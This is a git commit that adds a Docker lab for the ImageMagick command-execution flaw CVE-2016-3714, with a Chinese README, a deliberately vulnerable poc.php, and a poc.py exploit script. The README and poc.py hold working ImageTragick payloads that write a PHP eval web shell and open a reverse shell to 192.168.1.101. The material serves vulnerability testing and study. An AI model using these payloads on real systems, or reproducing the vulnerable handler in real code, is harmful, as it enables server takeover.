(Update Vul: ImageMagick) 修正ImageMagick 命令执行漏洞(CVE-2016–3714)

This commit is contained in:
Medicean 2016-08-25 14:34:45 +08:00
parent ebfab57925
commit 5075ff3055
22 changed files with 657 additions and 567 deletions

View File

@ -53,6 +53,7 @@ docker run -d -p 80:8080 medicean/vulapps:s_struts2_s2-037
## 组件首字母
* [B](#b)
* [I](#i)
* [O](#o)
* [S](#s)
* [W](#w)
@ -64,6 +65,10 @@ docker run -d -p 80:8080 medicean/vulapps:s_struts2_s2-037
* [Bash](./b/bash/)
### [I](./i/)<div id="i"></div>
* [ImageMagick](./i/imagemagick/)
### [O](./o/)<div id="o"></div>
* [OpenSSL](./o/openssl/)

View File

@ -1,20 +1,4 @@
### 拉取镜像
ImageMagick
---
```
docker pull kgtw/ubuntu_lamp:php5.6
```
### 通过 Dockerfile 构建
```
$ docker build --tag=kgtw/ubuntu_lamp:php5.6 .
```
### 开启docker docker run -d -p 80 kgtw/ubuntu_lamp:php5.6
输出一串值
### 切入命令行 docker exec -it {一串值} /bin.bash
### poc参考
http://ricterz.me/posts/Write%20Up%3A%20Remote%20Command%20Execute%20in%20Wordpress%204.5.1?_=1462424557950
1. [ImageMagick 命令执行漏洞CVE-20163714](1/)

View File

@ -1,12 +0,0 @@
# BEGIN WordPress
<IfModule mod_rewrite.c>
RewriteEngine On
RewriteBase /
RewriteRule ^index\.php$ - [L]
RewriteCond %{REQUEST_FILENAME} !-f
RewriteCond %{REQUEST_FILENAME} !-d
RewriteRule . /index.php [L]
</IfModule>
# END WordPress

View File

@ -1 +0,0 @@
<>

View File

@ -1,4 +0,0 @@
#!/bin/bash
ldconfig
/etc/init.d/mysql start
/usr/sbin/apachectl -DFOREGROUND

File diff suppressed because one or more lines are too long

Binary file not shown.

View File

@ -1,92 +0,0 @@
<?php
/**
* The base configuration for WordPress
*
* The wp-config.php creation script uses this file during the
* installation. You don't have to use the web site, you can
* copy this file to "wp-config.php" and fill in the values.
*
* This file contains the following configurations:
*
* * MySQL settings
* * Secret keys
* * Database table prefix
* * ABSPATH
*
* @link https://codex.wordpress.org/Editing_wp-config.php
*
* @package WordPress
*/
$home = 'http://'.$_SERVER['HTTP_HOST'];
$siteurl = 'http://'.$_SERVER['HTTP_HOST'];
define('WP_HOME', $home);
define('WP_SITEURL', $siteurl);
// ** MySQL settings - You can get this info from your web host ** //
/** The name of the database for WordPress */
define('DB_NAME', 'wordpress');
/** MySQL database username */
define('DB_USER', 'root');
/** MySQL database password */
define('DB_PASSWORD', 'root');
/** MySQL hostname */
define('DB_HOST', 'localhost');
/** Database Charset to use in creating database tables. */
define('DB_CHARSET', 'utf8mb4');
/** The Database Collate type. Don't change this if in doubt. */
define('DB_COLLATE', '');
/**#@+
* Authentication Unique Keys and Salts.
*
* Change these to different unique phrases!
* You can generate these using the {@link https://api.wordpress.org/secret-key/1.1/salt/ WordPress.org secret-key service}
* You can change these at any point in time to invalidate all existing cookies. This will force all users to have to log in again.
*
* @since 2.6.0
*/
define('AUTH_KEY', 'hPk;Yr%v2=E-onZlx|Vp4-3=yrYVOh6-IGub,?m_{i=[SxC-@gH1Kf|{)jUTvS,P');
define('SECURE_AUTH_KEY', 'l<zHFQ|h`A6uTd2|>[+~ZEDMo%48S2byvy}MqF-40>|4` b+Jo}wCl_A2[p32Rw)');
define('LOGGED_IN_KEY', '+E/9/eWJH3&fQn|#f+f050$_gLX!P{@2xAT|ODM8oA+TwqV..vx**2-?ZF?:e?+x');
define('NONCE_KEY', '4Zqz%%mtyvSPHMFOz+:,oVmE`2>H*G8R#O;y,],q%}|+C{8rA`ovo3~rAkqxat+<');
define('AUTH_SALT', 'P+$+4RcEETzUm>QF~:b0-%MHd{.Q8x15I4zDp2+dz3Okp/p}(L36Pd}!=x;2^Vd&');
define('SECURE_AUTH_SALT', 'e+JF|PE() 6**R?QZQ3jFFw^,Ur*(o|Y__Jr2wl9z_y,%ePd4f(*@ne&cv]{g.-r');
define('LOGGED_IN_SALT', 's6vc4VB. LtaPhOW4j)9t#xs,CU>b +@o(9onwsh[aa5|!TXx1M,E(jF&mgjB<KK');
define('NONCE_SALT', 'f+|wgN5H!N&$Hc|)[,5!+|E*[+u BxnQBnk>2RSBL`NJSsI%@-|tBR`%6hS~,h{2');
/**#@-*/
/**
* WordPress Database Table prefix.
*
* You can have multiple installations in one database if you give each
* a unique prefix. Only numbers, letters, and underscores please!
*/
$table_prefix = 'wp_';
/**
* For developers: WordPress debugging mode.
*
* Change this to true to enable the display of notices during development.
* It is strongly recommended that plugin and theme developers use WP_DEBUG
* in their development environments.
*
* For information on other constants that can be used for debugging,
* visit the Codex.
*
* @link https://codex.wordpress.org/Debugging_in_WordPress
*/
define('WP_DEBUG', false);
/* That's all, stop editing! Happy blogging. */
/** Absolute path to the WordPress directory. */
if ( !defined('ABSPATH') )
define('ABSPATH', dirname(__FILE__) . '/');
/** Sets up WordPress vars and included files. */
require_once(ABSPATH . 'wp-settings.php');

View File

@ -1,35 +1,25 @@
FROM kgtw/ubuntu_lamp
FROM medicean/vulapps:base_lamp
COPY src/wordpress-4.4.tar.gz /tmp/wordpress-4.4.tar.gz
COPY src/wordpress.sql /tmp/wordpress.sql
COPY src/ImageMagick-6.7.9-10.tar.gz /tmp/ImageMagick-6.7.9-10.tar.gz
COPY src/imagick-3.3.0.tar.gz /tmp/imagick-3.3.0.tar.gz
COPY src/re2c-0.13.7.5.tar.gz /tmp/re2c-0.13.7.5.tar.gz
RUN set -x \
&& apt-get update \
&& apt-get install -y php5-mysql php5-dev php5-memcache php5-pspell php5-snmp snmp php5-xmlrpc libapache2-mod-php5 php5-cli unzip \
&& apt-get install -y php5-mysql php5-dev php5-gd php5-memcache php5-pspell php5-snmp snmp php5-xmlrpc libapache2-mod-php5 php5-cli unzip \
&& rm -rf /var/www/html/* \
&& tar -zxf /tmp/wordpress-4.4.tar.gz -C /var/www/html --strip-components=1 \
&& rm -rf /tmp/wordpress-4.4.tar.gz \
&& tar -zxf /tmp/ImageMagick-6.7.9-10.tar.gz -C /var/www/ \
&& tar -zxf /tmp/imagick-3.3.0.tar.gz -C /var/www/ \
&& tar -zxf /tmp/re2c-0.13.7.5.tar.gz -C /var/www/
COPY src/.htaccess /var/www/html/.htaccess
COPY src/wp-config.php /var/www/html/wp-config.php
COPY src/wp-cli.phar /usr/bin/wp
COPY src/phpinfo.php /var/www/html/phpinfo.php
COPY src/testimag.php /var/www/html/testimag.php
COPY src/upload.php /var/www/html/upload.php
COPY src/poc.php /var/www/html/poc.php
COPY src/index.php /var/www/html/index.php
COPY src/poc.png /poc.png
RUN set -x \
&& chmod a+x /usr/bin/wp \
&& chown -R www-data:www-data /var/www/html/ \
&& /etc/init.d/mysql start \
&& mysql -e "CREATE DATABASE wordpress DEFAULT CHARACTER SET utf8;" -uroot -proot \
&& mysql -e "use wordpress;source /tmp/wordpress.sql;" -uroot -proot \
&& rm -f /tmp/wordpress.sql \
&& apt-get install -y build-essential checkinstall && apt-get build-dep -y imagemagick \
&& cd /var/www/ImageMagick-6.7.9-10 \
&& ./configure \
@ -55,11 +45,14 @@ RUN set -x \
&& echo "extension=imagick.so" >> /etc/php5/apache2/php.ini \
&& echo -e "; configuration for php imagick module \n; priority=20 \nextension=imagick.so" >> /etc/php5/mods-available/imagick.ini \
&& ln -s /etc/php5/mods-available/imagick.ini /etc/php5/apache2/conf.d/20-imagick.ini \
&& rm /etc/php5/mods-available/gd.ini
&& rm /etc/php5/mods-available/gd.ini
RUN rm -f /bin/sh \
&& ln -s /bin/bash /bin/sh \
&& rm -rf /tmp/*
COPY src/start.sh /start.sh
RUN chmod a+x /start.sh
EXPOSE 80
CMD ["/start.sh"]
# CMD ["supervisord", "-n"]

125
i/imagemagick/1/README.md Normal file
View File

@ -0,0 +1,125 @@
## ImageMagick 命令执行漏洞CVE-20163714环境
### 说明
感谢 [@justkg](https://github.com/justkg) 提供原始环境。
### 漏洞信息
* [ImageMagick Is On FireCVE-20163714](https://imagetragick.com/)
* [ImageMagick: Multiple vulnerabilities in image decoder](http://pastebin.com/aE4sKnCg)
* [Write Up: Remote Command Execute in Wordpress 4.5.1](http://ricterz.me/posts/Write%20Up%3A%20Remote%20Command%20Execute%20in%20Wordpress%204.5.1?_=1462424557950)
5月3日ImageMagick官方披露称目前ImageMagick存在一处远程命令执行漏洞CVE-20163714当其处理的上传图片带有攻击代码时可被远程执行任意代码进而导致攻击者控制服务器。
ImageMagick是一款开源图片处理库支持 PHP、Ruby、NodeJS 和 Python 等多种语言,使用非常广泛。包括 PHP imagick、Ruby rmagick 和 paperclip 以及 NodeJS imagemagick 等多个图片处理插件都依赖它运行。
### 漏洞相关代码
ImageMagick 在 `MagickCore/constitute.c``ReadImage` 函数中解析图片,如果图片地址是 `https://` 开头的,即调用 InvokeDelegate。
`MagickCore/delegate.c` 定义了委托,[第 99 行](https://github.com/ImageMagick/ImageMagick/blob/e93e339c0a44cec16c08d78241f7aa3754485004/MagickCore/delegate.c#L99)定义了要执行的命令。
```
99 " <delegate decode=\"https\" command=\"&quot;wget&quot; -q -O &quot;%o&quot; &quot;https:%M&quot;\"/>"
```
最终 `InvokeDelegate` 调用 [`ExternalDelegateCommand` 执行命令](https://github.com/ImageMagick/ImageMagick/blob/e93e339c0a44cec16c08d78241f7aa3754485004/MagickCore/delegate.c#L407)。
```
#if !defined(MAGICKCORE_HAVE_EXECVP)
status=system(sanitize_command);
#else
if ((asynchronous != MagickFalse) ||
(strpbrk(sanitize_command,"&;<>|") != (char *) NULL))
status=system(sanitize_command);
else
{
pid_t
child_pid;
```
### 镜像信息
本镜像中提供了本地测试 PoC 和 远程测试 PoC
类型 | 值
:-:|:-:
开放端口 | 80
远程 PoC | /poc.php
### 获取环境:
1. 拉取镜像到本地
```
$ docker pull medicean/vulapps:i_imagemagick_1
```
2. 启动环境
```
$ docker run -d -p 8000:80 --name=i_imagemagick_1 medicean/vulapps:i_imagemagick_1
```
> `-p 8000:80` 前面的 8000 代表物理机的端口,可随意指定。
### 使用与利用
访问 `http://你的 IP 地址:端口号/`
### PoC 与 Exp 使用
#### 本地测试
在容器中 `/poc.png` 文件内容如下:
```
push graphic-context
viewbox 0 0 640 480
fill 'url(https://evalbug.com/"|ls -la")'
pop graphic-context
```
构建时已经集成在容器中,可手动修改第 3 行的命令。
在物理机上直接执行下面命令验证漏洞:
```
$ docker exec i_imagemagick_1 convert /poc.png 1.png
```
或进入 docker容器 shell 中执行:
```
$ convert /poc.png 1.png
```
如果看到 `ls -al` 命令成功执行,则存在漏洞。
#### 远程命令执行测试
远程命令执行无回显,可通过写文件或者反弹 shell 来验证漏洞存在。
1. 写一句话到网站根目录下:
```
push graphic-context
viewbox 0 0 640 480
fill 'url(https://example.com/1.jpg"|echo \'<?php eval($_POST[\'ant\']);?>\' > shell.php")'
pop graphic-context
```
2. 反弹 shell:
```
push graphic-context
viewbox 0 0 640 480
fill 'url(https://example.com/1.jpg"|bash -i >& /dev/tcp/192.168.1.101/2333 0>&1")'
pop graphic-context
```
将上述两个 Exp 经过 base64 编码后发送到远程 `poc.php`querystring 的 `key``img`
也可修改 `poc.py` 后执行。

41
i/imagemagick/1/poc.py Normal file
View File

@ -0,0 +1,41 @@
#!/usr/bin/env python
# coding:utf-8
import requests
import base64
def doPost(url, data):
post_data = {"img": base64.b64encode(data)}
try:
requests.post(url + "/poc.php", data=post_data, timeout=1)
except:
pass
# 写 webshell
def writeshell(url):
writeshell = '''push graphic-context
viewbox 0 0 640 480
fill 'url(https://example.com/1.jpg"|echo \\'<?php eval($_POST[\\'ant\\']);?>\\' > shell.php")'
pop graphic-context
'''
doPost(url, writeshell)
resp2 = requests.post(url + "/shell.php", data={"ant": "echo md5(123);"})
if resp2.status_code == 200 and "202cb962ac59075b964b07152d234b70" in resp2.content:
print "WebShell: " + url + "shell.php"
def reverse_shell(url):
reverse_shell = """push graphic-context
viewbox 0 0 640 480
fill 'url(https://example.com/1.jpg"|bash -i >& /dev/tcp/192.168.1.101/2333 0>&1")'
pop graphic-context"""
# 反弹 shell
doPost(url, reverse_shell)
if __name__ == '__main__':
# 写 webshell
writeshell("http://127.0.0.1:8000/")
# 反弹 shell
# reverse_shell("http://127.0.0.1:8000/")

View File

@ -0,0 +1,439 @@
<!DOCTYPE html><html>
<head>
<meta charset="utf-8">
<title>README</title>
<style type="text/css">
body {
font-family: Helvetica, arial, sans-serif;
font-size: 14px;
line-height: 1.6;
padding-top: 10px;
padding-bottom: 10px;
background-color: white;
padding: 30px; }
body > *:first-child {
margin-top: 0 !important; }
body > *:last-child {
margin-bottom: 0 !important; }
a {
color: #4183C4; }
a.absent {
color: #cc0000; }
a.anchor {
display: block;
padding-left: 30px;
margin-left: -30px;
cursor: pointer;
position: absolute;
top: 0;
left: 0;
bottom: 0; }
h1, h2, h3, h4, h5, h6 {
margin: 20px 0 10px;
padding: 0;
font-weight: bold;
-webkit-font-smoothing: antialiased;
cursor: text;
position: relative; }
h1:hover a.anchor, h2:hover a.anchor, h3:hover a.anchor, h4:hover a.anchor, h5:hover a.anchor, h6:hover a.anchor {
background: url(data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAYAAAAf8/9hAAAAGXRFWHRTb2Z0d2FyZQBBZG9iZSBJbWFnZVJlYWR5ccllPAAAA09pVFh0WE1MOmNvbS5hZG9iZS54bXAAAAAAADw/eHBhY2tldCBiZWdpbj0i77u/IiBpZD0iVzVNME1wQ2VoaUh6cmVTek5UY3prYzlkIj8+IDx4OnhtcG1ldGEgeG1sbnM6eD0iYWRvYmU6bnM6bWV0YS8iIHg6eG1wdGs9IkFkb2JlIFhNUCBDb3JlIDUuMy1jMDExIDY2LjE0NTY2MSwgMjAxMi8wMi8wNi0xNDo1NjoyNyAgICAgICAgIj4gPHJkZjpSREYgeG1sbnM6cmRmPSJodHRwOi8vd3d3LnczLm9yZy8xOTk5LzAyLzIyLXJkZi1zeW50YXgtbnMjIj4gPHJkZjpEZXNjcmlwdGlvbiByZGY6YWJvdXQ9IiIgeG1sbnM6eG1wPSJodHRwOi8vbnMuYWRvYmUuY29tL3hhcC8xLjAvIiB4bWxuczp4bXBNTT0iaHR0cDovL25zLmFkb2JlLmNvbS94YXAvMS4wL21tLyIgeG1sbnM6c3RSZWY9Imh0dHA6Ly9ucy5hZG9iZS5jb20veGFwLzEuMC9zVHlwZS9SZXNvdXJjZVJlZiMiIHhtcDpDcmVhdG9yVG9vbD0iQWRvYmUgUGhvdG9zaG9wIENTNiAoMTMuMCAyMDEyMDMwNS5tLjQxNSAyMDEyLzAzLzA1OjIxOjAwOjAwKSAgKE1hY2ludG9zaCkiIHhtcE1NOkluc3RhbmNlSUQ9InhtcC5paWQ6OUM2NjlDQjI4ODBGMTFFMTg1ODlEODNERDJBRjUwQTQiIHhtcE1NOkRvY3VtZW50SUQ9InhtcC5kaWQ6OUM2NjlDQjM4ODBGMTFFMTg1ODlEODNERDJBRjUwQTQiPiA8eG1wTU06RGVyaXZlZEZyb20gc3RSZWY6aW5zdGFuY2VJRD0ieG1wLmlpZDo5QzY2OUNCMDg4MEYxMUUxODU4OUQ4M0REMkFGNTBBNCIgc3RSZWY6ZG9jdW1lbnRJRD0ieG1wLmRpZDo5QzY2OUNCMTg4MEYxMUUxODU4OUQ4M0REMkFGNTBBNCIvPiA8L3JkZjpEZXNjcmlwdGlvbj4gPC9yZGY6UkRGPiA8L3g6eG1wbWV0YT4gPD94cGFja2V0IGVuZD0iciI/PsQhXeAAAABfSURBVHjaYvz//z8DJYCRUgMYQAbAMBQIAvEqkBQWXI6sHqwHiwG70TTBxGaiWwjCTGgOUgJiF1J8wMRAIUA34B4Q76HUBelAfJYSA0CuMIEaRP8wGIkGMA54bgQIMACAmkXJi0hKJQAAAABJRU5ErkJggg==) no-repeat 10px center;
text-decoration: none; }
h1 tt, h1 code {
font-size: inherit; }
h2 tt, h2 code {
font-size: inherit; }
h3 tt, h3 code {
font-size: inherit; }
h4 tt, h4 code {
font-size: inherit; }
h5 tt, h5 code {
font-size: inherit; }
h6 tt, h6 code {
font-size: inherit; }
h1 {
font-size: 28px;
color: black; }
h2 {
font-size: 24px;
border-bottom: 1px solid #cccccc;
color: black; }
h3 {
font-size: 18px; }
h4 {
font-size: 16px; }
h5 {
font-size: 14px; }
h6 {
color: #777777;
font-size: 14px; }
p, blockquote, ul, ol, dl, li, table, pre {
margin: 15px 0; }
hr {
background: transparent url(data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAYAAAAECAYAAACtBE5DAAAAGXRFWHRTb2Z0d2FyZQBBZG9iZSBJbWFnZVJlYWR5ccllPAAAAyJpVFh0WE1MOmNvbS5hZG9iZS54bXAAAAAAADw/eHBhY2tldCBiZWdpbj0i77u/IiBpZD0iVzVNME1wQ2VoaUh6cmVTek5UY3prYzlkIj8+IDx4OnhtcG1ldGEgeG1sbnM6eD0iYWRvYmU6bnM6bWV0YS8iIHg6eG1wdGs9IkFkb2JlIFhNUCBDb3JlIDUuMC1jMDYwIDYxLjEzNDc3NywgMjAxMC8wMi8xMi0xNzozMjowMCAgICAgICAgIj4gPHJkZjpSREYgeG1sbnM6cmRmPSJodHRwOi8vd3d3LnczLm9yZy8xOTk5LzAyLzIyLXJkZi1zeW50YXgtbnMjIj4gPHJkZjpEZXNjcmlwdGlvbiByZGY6YWJvdXQ9IiIgeG1sbnM6eG1wPSJodHRwOi8vbnMuYWRvYmUuY29tL3hhcC8xLjAvIiB4bWxuczp4bXBNTT0iaHR0cDovL25zLmFkb2JlLmNvbS94YXAvMS4wL21tLyIgeG1sbnM6c3RSZWY9Imh0dHA6Ly9ucy5hZG9iZS5jb20veGFwLzEuMC9zVHlwZS9SZXNvdXJjZVJlZiMiIHhtcDpDcmVhdG9yVG9vbD0iQWRvYmUgUGhvdG9zaG9wIENTNSBNYWNpbnRvc2giIHhtcE1NOkluc3RhbmNlSUQ9InhtcC5paWQ6OENDRjNBN0E2NTZBMTFFMEI3QjRBODM4NzJDMjlGNDgiIHhtcE1NOkRvY3VtZW50SUQ9InhtcC5kaWQ6OENDRjNBN0I2NTZBMTFFMEI3QjRBODM4NzJDMjlGNDgiPiA8eG1wTU06RGVyaXZlZEZyb20gc3RSZWY6aW5zdGFuY2VJRD0ieG1wLmlpZDo4Q0NGM0E3ODY1NkExMUUwQjdCNEE4Mzg3MkMyOUY0OCIgc3RSZWY6ZG9jdW1lbnRJRD0ieG1wLmRpZDo4Q0NGM0E3OTY1NkExMUUwQjdCNEE4Mzg3MkMyOUY0OCIvPiA8L3JkZjpEZXNjcmlwdGlvbj4gPC9yZGY6UkRGPiA8L3g6eG1wbWV0YT4gPD94cGFja2V0IGVuZD0iciI/PqqezsUAAAAfSURBVHjaYmRABcYwBiM2QSA4y4hNEKYDQxAEAAIMAHNGAzhkPOlYAAAAAElFTkSuQmCC) repeat-x 0 0;
border: 0 none;
color: #cccccc;
height: 4px;
padding: 0;
}
body > h2:first-child {
margin-top: 0;
padding-top: 0; }
body > h1:first-child {
margin-top: 0;
padding-top: 0; }
body > h1:first-child + h2 {
margin-top: 0;
padding-top: 0; }
body > h3:first-child, body > h4:first-child, body > h5:first-child, body > h6:first-child {
margin-top: 0;
padding-top: 0; }
a:first-child h1, a:first-child h2, a:first-child h3, a:first-child h4, a:first-child h5, a:first-child h6 {
margin-top: 0;
padding-top: 0; }
h1 p, h2 p, h3 p, h4 p, h5 p, h6 p {
margin-top: 0; }
li p.first {
display: inline-block; }
li {
margin: 0; }
ul, ol {
padding-left: 30px; }
ul :first-child, ol :first-child {
margin-top: 0; }
dl {
padding: 0; }
dl dt {
font-size: 14px;
font-weight: bold;
font-style: italic;
padding: 0;
margin: 15px 0 5px; }
dl dt:first-child {
padding: 0; }
dl dt > :first-child {
margin-top: 0; }
dl dt > :last-child {
margin-bottom: 0; }
dl dd {
margin: 0 0 15px;
padding: 0 15px; }
dl dd > :first-child {
margin-top: 0; }
dl dd > :last-child {
margin-bottom: 0; }
blockquote {
border-left: 4px solid #dddddd;
padding: 0 15px;
color: #777777; }
blockquote > :first-child {
margin-top: 0; }
blockquote > :last-child {
margin-bottom: 0; }
table {
padding: 0;border-collapse: collapse; }
table tr {
border-top: 1px solid #cccccc;
background-color: white;
margin: 0;
padding: 0; }
table tr:nth-child(2n) {
background-color: #f8f8f8; }
table tr th {
font-weight: bold;
border: 1px solid #cccccc;
margin: 0;
padding: 6px 13px; }
table tr td {
border: 1px solid #cccccc;
margin: 0;
padding: 6px 13px; }
table tr th :first-child, table tr td :first-child {
margin-top: 0; }
table tr th :last-child, table tr td :last-child {
margin-bottom: 0; }
img {
max-width: 100%; }
span.frame {
display: block;
overflow: hidden; }
span.frame > span {
border: 1px solid #dddddd;
display: block;
float: left;
overflow: hidden;
margin: 13px 0 0;
padding: 7px;
width: auto; }
span.frame span img {
display: block;
float: left; }
span.frame span span {
clear: both;
color: #333333;
display: block;
padding: 5px 0 0; }
span.align-center {
display: block;
overflow: hidden;
clear: both; }
span.align-center > span {
display: block;
overflow: hidden;
margin: 13px auto 0;
text-align: center; }
span.align-center span img {
margin: 0 auto;
text-align: center; }
span.align-right {
display: block;
overflow: hidden;
clear: both; }
span.align-right > span {
display: block;
overflow: hidden;
margin: 13px 0 0;
text-align: right; }
span.align-right span img {
margin: 0;
text-align: right; }
span.float-left {
display: block;
margin-right: 13px;
overflow: hidden;
float: left; }
span.float-left span {
margin: 13px 0 0; }
span.float-right {
display: block;
margin-left: 13px;
overflow: hidden;
float: right; }
span.float-right > span {
display: block;
overflow: hidden;
margin: 13px auto 0;
text-align: right; }
code, tt {
margin: 0 2px;
padding: 0 5px;
white-space: nowrap;
border: 1px solid #eaeaea;
background-color: #f8f8f8;
border-radius: 3px; }
pre code {
margin: 0;
padding: 0;
white-space: pre;
border: none;
background: transparent; }
.highlight pre {
background-color: #f8f8f8;
border: 1px solid #cccccc;
font-size: 13px;
line-height: 19px;
overflow: auto;
padding: 6px 10px;
border-radius: 3px; }
pre {
background-color: #f8f8f8;
border: 1px solid #cccccc;
font-size: 13px;
line-height: 19px;
overflow: auto;
padding: 6px 10px;
border-radius: 3px; }
pre code, pre tt {
background-color: transparent;
border: none; }
sup {
font-size: 0.83em;
vertical-align: super;
line-height: 0;
}
* {
-webkit-print-color-adjust: exact;
}
@media screen and (min-width: 914px) {
body {
width: 854px;
margin:0 auto;
}
}
@media print {
table, pre {
page-break-inside: avoid;
}
pre {
word-wrap: break-word;
}
}
</style>
</head>
<body>
<h2 id="toc_0">ImageMagick 命令执行漏洞CVE-20163714环境</h2>
<h3 id="toc_1">说明</h3>
<p>感谢 <a href="https://github.com/justkg">@justkg</a> 提供原始环境。</p>
<h3 id="toc_2">漏洞信息</h3>
<ul>
<li><a href="https://imagetragick.com/">ImageMagick Is On FireCVE-20163714</a></li>
<li><a href="http://pastebin.com/aE4sKnCg">ImageMagick: Multiple vulnerabilities in image decoder</a></li>
<li><a href="http://ricterz.me/posts/Write%20Up%3A%20Remote%20Command%20Execute%20in%20Wordpress%204.5.1?_=1462424557950">Write Up: Remote Command Execute in Wordpress 4.5.1</a></li>
</ul>
<p>5月3日ImageMagick官方披露称目前ImageMagick存在一处远程命令执行漏洞CVE-20163714当其处理的上传图片带有攻击代码时可被远程执行任意代码进而导致攻击者控制服务器。</p>
<p>ImageMagick是一款开源图片处理库支持 PHP、Ruby、NodeJS Python 等多种语言,使用非常广泛。包括 PHP imagick、Ruby rmagick paperclip 以及 NodeJS imagemagick 等多个图片处理插件都依赖它运行。</p>
<h3 id="toc_3">漏洞相关代码</h3>
<p>ImageMagick <code>MagickCore/constitute.c</code> <code>ReadImage</code> 函数中解析图片,如果图片地址是 <code>https://</code> 开头的,即调用 InvokeDelegate。</p>
<p><code>MagickCore/delegate.c</code> 定义了委托,<a href="https://github.com/ImageMagick/ImageMagick/blob/e93e339c0a44cec16c08d78241f7aa3754485004/MagickCore/delegate.c#L99"> 99 </a>定义了要执行的命令。</p>
<pre><code class="language-none">99 &quot; &lt;delegate decode=\&quot;https\&quot; command=\&quot;&amp;quot;wget&amp;quot; -q -O &amp;quot;%o&amp;quot; &amp;quot;https:%M&amp;quot;\&quot;/&gt;&quot;</code></pre>
<p>最终 <code>InvokeDelegate</code> 调用 <a href="https://github.com/ImageMagick/ImageMagick/blob/e93e339c0a44cec16c08d78241f7aa3754485004/MagickCore/delegate.c#L407"><code>ExternalDelegateCommand</code> 执行命令</a></p>
<pre><code class="language-none">#if !defined(MAGICKCORE_HAVE_EXECVP)
status=system(sanitize_command);
#else
if ((asynchronous != MagickFalse) ||
(strpbrk(sanitize_command,&quot;&amp;;&lt;&gt;|&quot;) != (char *) NULL))
status=system(sanitize_command);
else
{
pid_t
child_pid;
</code></pre>
<h3 id="toc_4">镜像信息</h3>
<p>本镜像中提供了本地测试 PoC 远程测试 PoC</p>
<table>
<thead>
<tr>
<th style="text-align: center">类型</th>
<th style="text-align: center"></th>
</tr>
</thead>
<tbody>
<tr>
<td style="text-align: center">开放端口</td>
<td style="text-align: center">80</td>
</tr>
<tr>
<td style="text-align: center">远程 PoC</td>
<td style="text-align: center">/poc.php</td>
</tr>
</tbody>
</table>
<h3 id="toc_5">获取环境:</h3>
<ol>
<li><p>拉取镜像到本地</p>
<pre><code class="language-none">$ docker pull medicean/vulapps:i_imagemagick_1</code></pre></li>
<li><p>启动环境</p>
<pre><code class="language-none">$ docker run -d -p 8000:80 --name=i_imagemagick_1 medicean/vulapps:i_imagemagick_1</code></pre>
<blockquote>
<p><code>-p 8000:80</code> 前面的 8000 代表物理机的端口,可随意指定。 </p>
</blockquote></li>
</ol>
<h3 id="toc_6">使用与利用</h3>
<p>访问 <code>http://你的 IP 地址:端口号/</code></p>
<h3 id="toc_7">PoC Exp 使用</h3>
<h4 id="toc_8">本地测试</h4>
<p>在容器中 <code>/poc.png</code> 文件内容如下:</p>
<pre><code class="language-none">push graphic-context
viewbox 0 0 640 480
fill &#39;url(https://evalbug.com/&quot;|ls -la&quot;)&#39;
pop graphic-context</code></pre>
<p>构建时已经集成在容器中,可手动修改第 3 行的命令。</p>
<p>在物理机上直接执行下面命令验证漏洞:</p>
<pre><code class="language-none">$ docker exec i_imagemagick_1 convert /poc.png 1.png</code></pre>
<p>或进入 docker容器 shell 中执行:</p>
<pre><code class="language-none">$ convert /poc.png 1.png</code></pre>
<p>如果看到 <code>ls -al</code> 命令成功执行,则存在漏洞。</p>
<h4 id="toc_9">远程命令执行测试</h4>
<p>远程命令执行无回显,可通过写文件或者反弹 shell 来验证漏洞存在。</p>
<ol>
<li><p>写一句话到网站根目录下:</p>
<pre><code class="language-none">push graphic-context
viewbox 0 0 640 480
fill &#39;url(https://example.com/1.jpg&quot;|echo \&#39;&lt;?php eval($_POST[\&#39;ant\&#39;]);?&gt;\&#39; &gt; shell.php&quot;)&#39;
pop graphic-context</code></pre></li>
<li><p>反弹 shell:</p>
<pre><code class="language-none">push graphic-context
viewbox 0 0 640 480
fill &#39;url(https://example.com/1.jpg&quot;|bash -i &gt;&amp; /dev/tcp/192.168.1.101/2333 0&gt;&amp;1&quot;)&#39;
pop graphic-context</code></pre></li>
</ol>
<p>将上述两个 Exp 经过 base64 编码后发送到远程 <code>poc.php</code>querystring <code>key</code> <code>img</code></p>
<p>也可修改 <code>poc.py</code> 后执行。</p>
</body>
</html>

View File

@ -0,0 +1,25 @@
<?php
function readImageBlob() {
$base64 = "iVBORw0KGgoAAAANSUhEUgAAAM0AAAD
NCAMAAAAsYgRbAAAAGXRFWHRTb2Z0d2FyZQBBZG9iZSBJbWFnZVJlYWR5c
cllPAAAABJQTFRF3NSmzMewPxIG//ncJEJsldTou1jHgAAAARBJREFUeNrs2EEK
gCAQBVDLuv+V20dENbMY831wKz4Y/VHb/5RGQ0NDQ0NDQ0NDQ0NDQ0NDQ
0NDQ0NDQ0NDQ0NDQ0NDQ0NDQ0PzMWtyaGhoaGhoaGhoaGhoaGhoxtb0QGho
aGhoaGhoaGhoaGhoaMbRLEvv50VTQ9OTQ5OpyZ01GpM2g0bfmDQaL7S+ofFC6x
v3ZpxJiywakzbvd9r3RWPS9I2+MWk0+kbf0Hih9Y17U0nTHibrDDQ0NDQ0NDQ0
NDQ0NDQ0NTXbRSL/AK72o6GhoaGhoRlL8951vwsNDQ0NDQ1NDc0WyHtDTEhD
Q0NDQ0NTS5MdGhoaGhoaGhoaGhoaGhoaGhoaGhoaGposzSHAAErMwwQ2HwRQ
AAAAAElFTkSuQmCC";
if(isset($_POST['img'])){
$base64 = $_POST['img'];
}
$imageBlob = base64_decode($base64);
$imagick = new Imagick();
$imagick->readImageBlob($imageBlob);
header("Content-Type: image/png");
echo $imageBlob;
}
readImageBlob();
?>

View File

@ -0,0 +1,4 @@
push graphic-context
viewbox 0 0 640 480
fill 'url(https://evalbug.com/"|ls -la")'
pop graphic-context

View File

@ -0,0 +1,5 @@
#!/bin/bash
ldconfig
/etc/init.d/apache2 restart
/usr/bin/tail -f /dev/null